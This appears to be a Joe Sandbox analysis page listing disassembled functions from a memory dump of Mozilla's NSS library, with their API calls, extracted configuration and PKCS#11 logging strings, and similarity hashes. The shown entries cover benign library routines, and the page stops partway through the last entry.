
Function 6C654FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6075C2,00000000,00000000,00000001), ref: 6C655009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6075C2,00000000), ref: 6C655049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C65505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C655071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C655089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6550A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6550B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6075C2), ref: 6C6550CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6550D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6550F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C655103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C655145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C655153
free.MOZGLUE(?), ref: 6C65516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C65517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C655195

Strings

config=, xrefs: 6C65509B
name=, xrefs: 6C655057
nss=, xrefs: 6C655083
library=, xrefs: 6C655043
parameters=, xrefs: 6C65506B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: c737f611828d64f198f1a66ec7ce174870ada34866c90f706118586671b97c27
Instruction ID: fb2c36d5ec7680a8549676048041a355e987abc7024c217a82e0105585056eef
Opcode Fuzzy Hash: c737f611828d64f198f1a66ec7ce174870ada34866c90f706118586671b97c27
Instruction Fuzzy Hash: 4151D7B1A012159BEB11DF24DC45AAB37B8AF1734CF640430EC19E7741EB25E929C7BA

Function 6C654C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C644F51,00000000), ref: 6C654C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C644F51,00000000), ref: 6C654C5B
PR_smprintf.NSS3(6C72AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C644F51,00000000), ref: 6C654C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C644F51,00000000), ref: 6C654CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C654CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C654CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C654D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C644F51,00000000), ref: 6C654D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C644F51,00000000), ref: 6C654D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C654D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C654DA2
free.MOZGLUE(?), ref: 6C654DB9
free.MOZGLUE(00000000), ref: 6C654DCF

Strings

every, xrefs: 6C654CA1
timeout, xrefs: 6C654C91
any, xrefs: 6C654C96
%s,%s, xrefs: 6C654C4B
rust, xrefs: 6C654D22
slotFlags, xrefs: 6C654D34
rootFlags, xrefs: 6C654D47
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C654D9D
0x%08lx=[%s %s], xrefs: 6C654D80
ootT, xrefs: 6C654D1A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 3d71ce1c9c8d934895239ac543750915fc4774b5823cafd2cab2ad5a875fedf3
Instruction ID: 026c12d89112a61569476b0728b4b2cfad38ca1a6502a44abfcbab83f1277524
Opcode Fuzzy Hash: 3d71ce1c9c8d934895239ac543750915fc4774b5823cafd2cab2ad5a875fedf3
Instruction Fuzzy Hash: E0418CB1900141ABDB125F289C44ABE3AB5AF8334CF698274EC094B702E775E934C7DB

Function 6C636CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C636910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C636943
Part of subcall function 6C636910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C636957
Part of subcall function 6C636910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C636972
Part of subcall function 6C636910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C636983
Part of subcall function 6C636910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6369AA
Part of subcall function 6C636910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6369BE
Part of subcall function 6C636910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6369D2
Part of subcall function 6C636910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6369DF
Part of subcall function 6C636910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C636A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C636D8C
free.MOZGLUE(00000000), ref: 6C636DC5
free.MOZGLUE(?), ref: 6C636DD6
free.MOZGLUE(?), ref: 6C636DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C636E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C636E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C636E72
free.MOZGLUE(?), ref: 6C636EA7
free.MOZGLUE(?), ref: 6C636EC4
free.MOZGLUE(?), ref: 6C636ED5
free.MOZGLUE(00000000), ref: 6C636EE3
free.MOZGLUE(?), ref: 6C636EF4
free.MOZGLUE(?), ref: 6C636F08
free.MOZGLUE(00000000), ref: 6C636F35
free.MOZGLUE(?), ref: 6C636F44
free.MOZGLUE(?), ref: 6C636F5B
free.MOZGLUE(00000000), ref: 6C636F65

Part of subcall function 6C636C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C63781D,00000000,6C62BE2C,?,6C636B1D,?,?,?,?,00000000,00000000,6C63781D), ref: 6C636C40
Part of subcall function 6C636C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C63781D,?,6C62BE2C,?), ref: 6C636C58
Part of subcall function 6C636C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C63781D), ref: 6C636C6F
Part of subcall function 6C636C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C636C84
Part of subcall function 6C636C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C636C96
Part of subcall function 6C636C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C636CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C636F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C636FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C636FF4

Strings

+`dl, xrefs: 6C636D0D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`dl
API String ID: 1304971872-1530249171
Opcode ID: f49b51b645e239091cfbd41348f212e8de130b946b479f7fb4fef5d2dfa71461
Instruction ID: 3607bee3a72ad158a5067fa04a18fdb5c3edbc1eee2be43f5b1e9bc155ec0253
Opcode Fuzzy Hash: f49b51b645e239091cfbd41348f212e8de130b946b479f7fb4fef5d2dfa71461
Instruction Fuzzy Hash: 74B18FB0E052299FDF00DBA5DC44B9EBBB5BF05349F143029E819E7640E731E919CBA9

Function 6C5FDDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5FDDDE

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C5FDDF5

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C5FDE34
PR_Now.NSS3 ref: 6C5FDE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C5FDE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5FDEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5FDEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C5FDED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C5FDEF0
PR_smprintf.NSS3(6C72AAF9,(NULL) (Validity Unknown)), ref: 6C5FDF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5FDF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5FDF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5FDF33
free.MOZGLUE(00000000), ref: 6C5FDF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5FDF4B
free.MOZGLUE(00000000), ref: 6C5FDF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5FDF8E

Strings

{???}, xrefs: 6C5FDE8B
%s%s, xrefs: 6C5FDEEB
(NULL) (Validity Unknown), xrefs: 6C5FDEFA

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: fa81c0e023f233813eeaa5784ccc7b7a8b1a07b4ffdaef24be16715fa93694a4
Instruction ID: c0ac08bb8fca32a3b47d389a491f60668bd8ce60eadc1e76ac0687700847e972
Opcode Fuzzy Hash: fa81c0e023f233813eeaa5784ccc7b7a8b1a07b4ffdaef24be16715fa93694a4
Instruction Fuzzy Hash: A151B1B1E002059BEB14DE658C45AAF7AF9AF86358F144429EC19E7700E731D915CFE2

Function 6C62AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C62AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C62AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C62AF83

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C62AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C62AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C62AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C62AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C62B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C62B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C62B041

Strings

npl, xrefs: 6C62B059, 6C62B093
(CK_INVALID_HANDLE), xrefs: 6C62AF7C
pulSignatureLen = 0x%p, xrefs: 6C62B03C
C_SignMessage, xrefs: 6C62AF41
ulParameterLen = 0x%p, xrefs: 6C62AFD4
pData = 0x%p, xrefs: 6C62AFEF
pParameter = 0x%p, xrefs: 6C62AFB9
pSignature = 0x%p, xrefs: 6C62B023
hSession = 0x%x, xrefs: 6C62AF5E, 6C62AF6E
ulDataLen = %d, xrefs: 6C62B00A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$npl
API String ID: 1003633598-67455138
Opcode ID: b025295747556bb05e0daf5a9afbbf45a368f16ccc68ee36a731eec876321bb1
Instruction ID: 54977190e9f34e3ac91ce7515fa9fc9bf2ac6852493254f0ab2646f7e377edd5
Opcode Fuzzy Hash: b025295747556bb05e0daf5a9afbbf45a368f16ccc68ee36a731eec876321bb1
Instruction Fuzzy Hash: 8A41D6B5A01144AFDB018F54DE4CE8A7BB2FB8231DF884035E50867B12DF349958CFAA

Function 6C6208F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C62094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C620953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C62096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C620974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C62098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C620995

Part of subcall function 6C621800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C621860
Part of subcall function 6C621800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C6209BF), ref: 6C621897
Part of subcall function 6C621800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C6218AA
Part of subcall function 6C621800: memcpy.VCRUNTIME140(?,?,?), ref: 6C6218C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C620B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C620B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C620B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C620B78

Strings

key, xrefs: 6C620ACB
exp, xrefs: 6C620B36
base_nonce, xrefs: 6C620B06
psk_id_hash, xrefs: 6C6209B5
secret, xrefs: 6C620A88
info_hash, xrefs: 6C6209E0

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: f7586de4e25129533eb120f3786b2f161b87adf61622a512a31890fd50644e26
Instruction ID: 0f2c6b6f2844be0bae8c0155d9862faad8522df12b74699f0df4f9d157cf2e00
Opcode Fuzzy Hash: f7586de4e25129533eb120f3786b2f161b87adf61622a512a31890fd50644e26
Instruction Fuzzy Hash: FA818AB6604345AFC700CF64C98099AF7E8EF8D308F048919FA9997751E731EA19CB96

Function 6C632D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C632DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C632E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C632E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C632E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C604F1C,?,-00000001,00000000,?), ref: 6C632E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C604F1C,?,-00000001,00000000), ref: 6C632E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C632EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C632EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C632EF8
PR_Unlock.NSS3(?), ref: 6C632F62
TlsGetValue.KERNEL32 ref: 6C632F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C632F9E
PR_Unlock.NSS3(?), ref: 6C632FCA
TlsGetValue.KERNEL32 ref: 6C63301A
EnterCriticalSection.KERNEL32(?), ref: 6C63302E
PR_Unlock.NSS3(?), ref: 6C633066
PR_SetError.NSS3(00000000,00000000), ref: 6C633085
PR_Unlock.NSS3(?), ref: 6C6330EC
TlsGetValue.KERNEL32 ref: 6C63310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C633124
PR_Unlock.NSS3(?), ref: 6C63314C

Part of subcall function 6C619180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C64379E,?,6C619568,00000000,?,6C64379E,?,00000001,?), ref: 6C61918D
Part of subcall function 6C619180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C64379E,?,6C619568,00000000,?,6C64379E,?,00000001,?), ref: 6C6191A0

Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07AD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07CD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07D6
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C57204A), ref: 6C5E07E4
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,6C57204A), ref: 6C5E0864
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5E0880
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,6C57204A), ref: 6C5E08CB
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08D7
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C63316D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: c1f9b941dd306c370655a44abb8c243b9ac0045ff1016d52490e09c6b0a80dd6
Instruction ID: 45a3a3546cce5bf7ab9457469f8cfa2131c321cc611f373cf7cac02e7ee547a6
Opcode Fuzzy Hash: c1f9b941dd306c370655a44abb8c243b9ac0045ff1016d52490e09c6b0a80dd6
Instruction Fuzzy Hash: B0F1AEB1D00219AFDF00DF64D884B9ABBB4FF09318F546169EC08A7751EB31E996CB85

Function 6C626D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C626D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C626DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C626DC3

Part of subcall function 6C70D930: PL_strncpyz.NSS3(?,?,?), ref: 6C70D963

PR_LogPrint.NSS3(?,00000000), ref: 6C626DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C626DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C626E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C626E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C626E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C626EB9

Strings

npl, xrefs: 6C626E61, 6C626E95
(CK_INVALID_HANDLE), xrefs: 6C626DBC
pDigest = 0x%p, xrefs: 6C626E27
C_Digest, xrefs: 6C626D81
pData = 0x%p, xrefs: 6C626DF5
pulDigestLen = 0x%p, xrefs: 6C626E42
hSession = 0x%x, xrefs: 6C626D9E, 6C626DAE
*pulDigestLen = 0x%x, xrefs: 6C626EB4
ulDataLen = %d, xrefs: 6C626E0E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$npl
API String ID: 1003633598-430673897
Opcode ID: 05f370f4391f6e60c16a354e51403647e94a7123490f5032f7bcc86e5d5bfe4b
Instruction ID: dcee22645665d7c70fd6b6ff0fc71a1d86c33c9d26940810e17e38d213b766e1
